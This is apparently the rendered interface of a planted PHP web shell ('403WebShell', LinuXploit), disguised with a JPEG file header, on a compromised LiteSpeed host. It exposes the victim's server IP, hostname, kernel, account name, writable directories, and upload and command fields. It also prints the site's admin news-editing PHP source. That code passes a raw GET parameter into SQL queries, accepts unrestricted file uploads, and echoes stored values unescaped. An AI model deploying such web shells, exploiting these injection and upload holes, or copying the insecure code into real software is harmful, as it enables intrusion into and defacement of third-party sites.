ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/public_html/admin//danews.php
<?php include "db.php";
$idd=$_GET['id'];
$id="News";
$ddc="SELECT * FROM `news` WHERE `id`=$idd";
$daa=mysqli_query($con,$ddc);
$dtt=mysqli_fetch_assoc($daa);
include "db.php";
?>
<?php
Session_start();
 if(isset($_SESSION['adminlogedin']) && $_SESSION['adminlogedin']==true) { 
    
    $email= $_SESSION['Email_Address03092372779'];
    $user= $_SESSION['user03092372779'];


    

?>

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Update <?php echo"$id ";?></title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet">
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script>
</head>
<body style="background: #21a3b321;">
<Style>
    .form-control:focus {
    color: #212529;
    background-color: #fff;
    border-color: #b7d0f5;
    outline: 0;
    box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}

 .btn-primary{    background: #009bad;
    border: #0a9eb0;}
    .btn:hover {
    color: var(--bs-btn-hover-color);
    background-color: #98a0a4;
    border-color: #98a0a4;
}
    .head{width: 100%;height: ; 
    background-color: #f7f7f7;}
    .head img{width: 300px;}
.img1st{margin: 0% ;
        padding: 20px}
td{text-align: justify;
    }
    th{text-align: center;    color: #666666;
    }
*{font-family: Math !important;}
p{font-size: 18px;}
</Style>
<div class=head>
    <div class="container" >
<div class="img1st">
<center>
<img src="Logo.png"></center>
</div>
</div>
</div>

<h1 style="  text-transform: capitalize;text-align:center; font-weight:800;
    padding: 20px;     margin-top: 10px;">Update <?php echo $id;?>  </h1>
<div class="container" style="max-width: 1155px; box-shadow: 5px 5px 5px 5px #888888;background: #f7f7f7;border: 3px solid #a0a0a0; padding: 20px;">
<form  method="post" enctype="multipart/form-data" style="border: 1px solid;
    padding: 14px;
    border-color: #ececec;
    border-radius: 9px;
    background: #ececec;">
    <center>
<img class="img-fluid" src="<?php echo $dtt['img']?>" alt=""></center>
<input type="file" name="pdf" placeholder="Enter Subject" class="form-control mt-3" style=" height: 50px;   font-size: 18px;">
<input type="text" value="<?php echo $dtt['heading']?>" name="title" placeholder="Enter Title Here"  class="form-control mt-3" style=" margin-bottom:30px; height: 50px;font-size: 18px;">
<textarea id="editor" value="" name="page1" placeholder="Page1" style="height:700px;"><?php echo $dtt['text']?></textarea>
<script src="https://cdn.ckeditor.com/ckeditor5/36.0.1/classic/ckeditor.js"></script>
    <script>
        document.addEventListener("DOMContentLoaded", function() {
            ClassicEditor
                .create(document.querySelector('textarea[name="page1"]'))
                .catch(error => {
                    console.error(error);
                });

           
           
        });
    </script>

<link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/css/select2.min.css" rel="stylesheet"/>


<button class="btn btn-danger mt-3" type="submit" name="ordgo" style="width:100%;     background: #04a3b4;
    border: 1px solid;
    font-weight: 900;height: 50px;
    font-size: 20px;
    border-color: #04a3b4;" >Update  </button>
</form></div>
<?php
$powername=$_SESSION['fname'];
$rre=  $dtt['img'];
if(isset($_POST['ordgo'])){
    $text=$_POST['page1'];
    $title=$_POST['title'];
    $date=$_POST['date'];
    
   

   
    $location= "imger/";
        $pdf = $_FILES['pdf']['name'];
if($pdf == false){
  $heross="UPDATE `news` SET `img`='$rre',`heading`='$title',`text`='$text' WHERE `id`= '$idd'";
    $datass=mysqli_query($con,$heross);
}
else{
    
      $pdf_tmp6 = $_FILES['pdf']['tmp_name'];
      move_uploaded_file($pdf_tmp6, $location.$pdf);





      $fdp="SELECT * FROM `news` WHERE `img` =$pdf";   
$pdfrun=mysqli_query($con,$fdp);
$countp=mysqli_num_rows($pdfrun);

   if ($countp == "1") {
    echo '<script>
  alert("Kindly Change Your File Name");
  </script>';
   }else{
    $heross="UPDATE `news` SET `img`='$location$pdf',`heading`='$title',`text`='$text' WHERE `id`= '$idd'";
    $datass=mysqli_query($con,$heross);}
   }
if( $datass== 1){

   
  
  echo '<script>
  alert("Your File Has Been Uploaded!");
  window.open("news", "_self")
  </script>';
 

}}
?>


<?php } 
else{ echo '<script>window.open("login", "_self")</script>'; } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit